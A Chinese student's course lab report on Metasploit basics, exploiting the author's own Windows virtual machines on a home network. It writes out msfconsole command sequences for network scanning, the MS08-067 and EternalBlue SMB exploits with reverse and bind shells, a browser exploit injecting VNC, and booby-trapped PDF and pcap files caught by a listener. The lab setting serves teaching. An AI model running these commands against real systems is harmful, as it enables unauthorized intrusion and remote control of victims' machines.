Exp5 MSF基础应用 20165110

Exp5 MSF基础应用 20165110

一、实践要求(3.5分)

实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

1.一个主动攻击实践;(1分)

ms08_067_netapi:自动化漏洞溢出攻击

payload:generic/shell_reverse_tcp(成功)

payload:windows/vncinject/reverse_tcp (失败)

ms17_010_eternalblue:“永恒之蓝”自动化攻击

payload:windows/x64/shell/bind_tcp(成功)

payload:generic/shell_reverse_tcp(失败)

2.一个针对浏览器的攻击;(1分)

ms14_064_ole_code_execution

payload:windows/vncinject/reverse_tcp(成功且唯一)

payload:payload/generic/shell_reverse_tcp(成功)

payload:windows/x64/meterpreter/reverse_http(失败)

ms10_042_helpctr_xss_cmd_exec(失败)

3.一个针对客户端的攻击(1分)

Adobe(失败)

Wireshark:

payload:set payload windows/meterpreter/reverse_tcp        (成功)

4.成功应用任何一个辅助模块。(0.5分)

在实现ms08_067中应用use auxiliary/scanner/portscan/tcp搜索靶机开放端口(成功)

在实现ms17_010中应用use auxiliary/scanner/smb/smb_ms17_010扫描存在该漏洞的靶机(成功且唯一)

以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。

二、实验内容

Kali 的IP:10.1.1.211

首先是血与泪的教训(整了我足足三天)

!!注意:一定要在做实验之前把虚拟机的网卡设置为桥接模式,再通过设置虚拟网络编辑器,选择物理网卡,使得多台虚拟机处于同意网段中,否则之间根本就ping不通,攻击也无从谈起。

实验一:ms08_067_netapi

靶机:Microsoft Windows 2000(10.1.1.107)

1.首先使用kali进行漏洞扫描

nmap -sS -A --script=smb-vuln-ms08-067 -PO 10.1.1.211

vuln: 负责检查目标机是否有常见的漏洞(Vulnerability)
–script=: 使用某个或某类脚本进行扫描,支持通配符描述

首先必须要说的是nmap能扫描的漏洞并不多,有时扫描一些漏洞会出现如下所示的情况,表示该漏洞没有在nmap扫描库中不可以被扫描。

Exp5 MSF基础应用    20165110

但是此处的ms08_067非常凑巧的可以被扫描,扫描结果如下图

Exp5 MSF基础应用    20165110

在kali端进入msfconsole控制台

首先查找ms08_067漏洞的具体位置

search ms08_067

Exp5 MSF基础应用    20165110

然后进行漏洞选择

use exploit/windows/smb/ms08_067_netapi

通过show options

查看配置信息

使用辅助模块查看默认端口(445)是否开放

search portscan # 搜索端口
use auxiliary/scanner/portscan/tcp # 使用漏洞
show options #显示设置
set RHOSTS 10.1.1.211 # 设置监听者地址
exploit # 攻击

Exp5 MSF基础应用    20165110

返回ms08_967设置靶机类型

set target 1

查看可用的payloads

show payloads

set payload windows/x64/shell/bind_tcp//选择payload

Exp5 MSF基础应用    20165110

再次查看相关配置信息

set LHOST 10.1.1.211
set LPORT 5111//注:此处因为我的学号5110始终被占用无法使用,故将端口更换成5111
exploit

Exp5 MSF基础应用    20165110

攻击成功!!!

更换另一个payload:windows/vncinject/reverse_tcp

查找了一些关于这个payload的相关资料

Windows/vncinject/bind_tcp 在目标计算机上安装VNC并等待连接

期间它总是报出这样的错误

Exp5 MSF基础应用    20165110

我针对这个错误做了这样的尝试:

就是不停地更换端口,后来也请教了一些大佬,说是因为上次的使用没有正常退出导致源端口被占用,无法继续执行下面的任务,

还有一种解决方案是关掉终端重新启动msfconsole,两种方法经过实践是都可以解决这个问题的

但是就我个人而言,我认为这个错误很奇怪啊,我每次在使用完成之后都会进行退出啊,为啥只要一退出再进入都会出现这样的端口占用问题呢,可能是我退出的方式不对吧。。。

好了言归正传回来,继续使用这个payload,设置好参数,然后exploit,

Exp5 MSF基础应用    20165110

然后嗯等了好久好久,然后出现了一大堆false,我研究了半天也没搞明白这些false是什么原因,然后我又跑去换了sp2,xp,2007的靶机都以失败告终,这个payload攻击宣告失败。。。

实验二:ms17_010_eternalblue:“永恒之蓝”自动化攻击

在这个攻击该漏洞之前我利用了辅助工具auxiliary/scanner/smb/smb_ms17_010 这个扫描插件进行测试,该插件的作用是扫描本网段钟可能含有ms17-010漏洞的服务器,帮助我们寻找靶机

首先进入这个辅助工具的界面中

use auxiliary/scanner/smb/smb_ms17_010

Exp5 MSF基础应用    20165110

随后通过指令show options

Exp5 MSF基础应用    20165110

来查找该工具所需要的参数,我们可以看到RHOSTS和RPORT两个参数是必需的。

RPORT:在上一个漏洞中我们已经扫描了445端口是开放的,所以这里的RPORT不再修改直接使用即可。

RHOSTS:通过查找我们宿舍的网段网关地址为10.1.1.1,子网掩码是255.255.255.0,故目标网段应该填写为10.1.1.1/24将一些必备的参数填写进去,最后输入run或者exploit执行辅助工具。

Exp5 MSF基础应用    20165110

Exp5 MSF基础应用    20165110

Exp5 MSF基础应用    20165110

经过一段时间的等待,我们可以发现扫描结果,本网段中有一台符合条件的主机,嘿嘿嘿,就是我的win7虚拟机啦,然后就可以愉快地开始攻击了呢。

首先老规矩输入下列一大串指令

search ms17_010 #搜索漏洞
use exploit/windows/smb/ms17_010_eternalblue #使用漏洞
show payloads #显示可用攻击载荷
set payload payload/generic/shell_reverse_tcp #选择攻击载荷
show options #查看配置信息
set LHOST 10.1.1.211 #设置监听地址
set RHOSTS 10.1.1.1/24(这里也可以写具体的主机地址) #设置靶机地址
exploit #开始攻击

Exp5 MSF基础应用    20165110

Exp5 MSF基础应用    20165110

Exp5 MSF基础应用    20165110

注:由于我在做这个实验的时候崩了好几次虚拟机,所以我又重新拷了好几次虚拟机,所以实验中的RHOSTS在不停发生变化。。。

Exp5 MSF基础应用    20165110

Exp5 MSF基础应用    20165110

嘻嘻,攻击成功!!!

然后非常有冒险探索精神的我决定回一个payload``````payload:generic/shell_reverse_tcp`````

喵喵喵,失败了???

Exp5 MSF基础应用    20165110

Exp5 MSF基础应用    20165110

失败原因是好多好多个false,一开始是疑心我的参数设置的有问题,但是重新做了好几遍都不成功,我再折回去看靶机,一看哟蓝屏了,已经ping不通了,这个靶机成功又被我整die了,微笑.jpg。

我又参考了某猪的博客唔,觉得这个漏洞还是非常容易被攻击的,只要是相应的payloads基本都是可以成功的,至于去哪里找相应的paylos,有一个指令叫做info该指令可以朝朝到该漏洞的相关信息,有的describe里面会包含对应的payloads。

实验三:ms14_064_ole_code_execution(针对浏览器的攻击)

Exp5 MSF基础应用    20165110

还是老规矩上代码:

search ms14_064//查找漏洞所在位置
use exploit/windows/browser/ms14_064_ole_code_execution//选择攻击模块
show payloads //显示可用攻击载荷
set payload windows/vncinject/reverse_tcp //在目标计算机上安装VNC并设置tcp反向连接
info //查看详细信息(发现可攻击winXP和win7)
set SRVHOST 10.1.1.211 //设置攻方IP
set LHOST 10.1.1.211
set LPORT 5111
set target 0 //设置winXP靶机
exploit //发起渗透攻击

生成一个URL地址,用WinXP的IE8.0打开,可以发现成功建立会话,

Exp5 MSF基础应用    20165110

Exp5 MSF基础应用    20165110

Exp5 MSF基础应用    20165110

并且还会弹出VNC弹框,弹框中的内容是靶机的屏幕,实现了监控,

Exp5 MSF基础应用    20165110

wow it‘s very cool。

我还尝试了一个常规payload:payload/generic/reverse_tcp

Exp5 MSF基础应用    20165110

嘻嘻,同样也成功了。

我继续进行探索,payload:windows/x64/meterpreter/shell_reverse_https等诸多https的payload

很不幸,它们都失败了,所以我做出了大胆的假设,可能是因为我的两台机器之间并没有建立https通信方式。。。

附录:ms10_042_helpctr_xss_cmd_exec(对浏览器的攻击,失败)

Exp5 MSF基础应用    20165110

Exp5 MSF基础应用    20165110

Exp5 MSF基础应用    20165110

Exp5 MSF基础应用    20165110

实验四:对一个客户端进行攻击

Adobe

这个可真是难为我小猪佩奇了,我通过search adobe搜索了相关的漏洞最后选择了攻击成功率最高的攻击模块

windows/fileformat/adobe_cooltype_sing

靶机:WinXP

老规矩上代码

set payload
windows/meterpreter/reverse_tcp //设置tcp反向连接
set LHOST 10.1.1.211 //kali IP
set LPORT 5111 //设置攻击端口
set FILENAME 5110.pdf //设置生成的pdf文件名
exploit //发起攻击

成功在目录root/.msf4/local中生成5110.pdf,将该文件直接拖至靶机中

Exp5 MSF基础应用    20165110

返回kali端进入监听模块:

use exploit/multi/handler //进入监听模块
exploit //监听

回到WinXP中双击打开pdf文件,然后不幸的事情发生了,

Exp5 MSF基础应用    20165110

Adobe Reader开启失败,报错了,然后我尝试进行修复,然后依然没有办法打开pdf文件

Exp5 MSF基础应用    20165110

我一开始怀疑是我生成的pdf文件有问题,导致Adobe Reader崩了,然后我在自己的主机上打开这个pdf,唔发现打开正常啊,里面的内容Hello World!说明pdf没问题啊,唔,那么悲惨的事实摆在了我的面前,那就是我的Adobe崩了。。。于是乎,我又跑去下载了其他的Adobe

然后嗯到现在也没有下载下来,等下载下来了我再进行尝试,

我还会再回来的==

Wireshark

这个也是为难我小猪佩奇的一个利器啊,不过这也只能怪我画蛇添足,自做聪明了。。。

靶机:WinXP

话不多说,上代码

 use exploit/windows/fileformat/wireshark_packet_dect.rb  //使用漏洞
set payload windows/meterpreter/reverse_tcp //选择载荷
set LHOST 10.1.1.211 //攻击者地址
exploit

生成一个passwords.pcap捕包文件,将该文件拖至靶机中

进入监听模块

use exploit/multi/handler #进入监听模块
exploit #攻击

Exp5 MSF基础应用    20165110

在靶机中打开passwords.pcap文件

Exp5 MSF基础应用    20165110

攻击成功

Exp5 MSF基础应用    20165110

中间出现了一个错误,就是我以为靶机中没有wireshark,我自己从网上下载了一个wireshark,这个wireshark是32位的版本比较老,所以使用它打开生成passwors.pacp文件显示的是错误,我在网上查找了出现这个错误的原因,因为Wireshark的版本中支持的数据量很小,生成的该pacp文件中的数据量已经超过了Wireshark一次所能读取的量,所以无法打开,我重装了虚拟机之后,使用其自带的wireshark即可成功实现该攻击。

三、实验中的遇到的问题

1.首先是我的kali与其他虚拟机不在一个网段上,根本无法进行ping通,直接导致了之前我所有的攻击都失败了。。。

2.攻击ms08-067时,我一开始使用的WinXP,但是一直都没有攻击成功,后来我通过参考某猪的博客,原来我的WinXP系统是中文版,里面已经装了相关的漏洞,所以当然攻击不成功了,微笑.jpg。

Exp5 MSF基础应用    20165110

3.进行攻击时经常出现如下的状况

基本上换一下端口就可以解决,所以我实验中的截图的端口号从5109-5113都试过了。。。实在不行的话,那就重启msf吧

Exp5 MSF基础应用    20165110

4.进行Wireshark攻击时,出现了一个错误,就是我以为靶机中没有wireshark,我自己从网上下载了一个wireshark,这个wireshark是32位的版本比较老,所以使用它打开生成passwors.pacp文件显示的是错误,我在网上查找了出现这个错误的原因,因为Wireshark的版本中支持的数据量很小,生成的该pacp文件中的数据量已经超过了Wireshark一次所能读取的量,所以无法打开,我重装了虚拟机之后,使用其自带的wireshark即可成功实现该攻击。

Exp5 MSF基础应用    20165110

5.实验过程中还出现这样的问题

Exp5 MSF基础应用    20165110

解决方案:加上set payload...

四、基础问题回答

1.用自己的话解释什么是exploit,payload,encode.

答:

exploit:应该是攻击模块,里面包含攻击的平台、攻击使用的工具、以及攻击所需要的参数,应该是一个集所有工具于一体的攻击模块。

payload:实际用于攻击的代码、机器指令

encode:对payload进行编码的编码器

2.实践总结与体会

答:这个我从上周二基本就开始做了,一直做到今天还有一些地方需要完善,整个电脑的风扇一直在响,最多的一次我一下子开了四台虚拟机,我看着我的CPU爆红,这是我有电脑以来,第一次出现这种情况,总结一句话,这个实验给我的感觉是道路是曲折的,前途是光明的,失败了九十九次,不要气馁,因为第一百次还会失败的,smile。

这个实验还是给了我一些经验,比如说排除问题,查找问题的能力,以及愈挫愈勇的能力。。。。

3.离实战还缺些什么技术或步骤?

答:我一直都好好奇,为啥每次实验都有这个问题。。。但是我还是要认真回答以下这个问题,我觉得我们离实战最缺少的步骤就是实践,所有的技术或者步骤都是具体问题具体分析,正如卖油翁中的一句话“唯手熟尔”。

上一篇:20165318 2017-2018-2《Java程序设计》课程总结


下一篇:[.net 面向对象程序设计进阶] (22) 团队开发利器(一)简单易用的代码管理工具VSS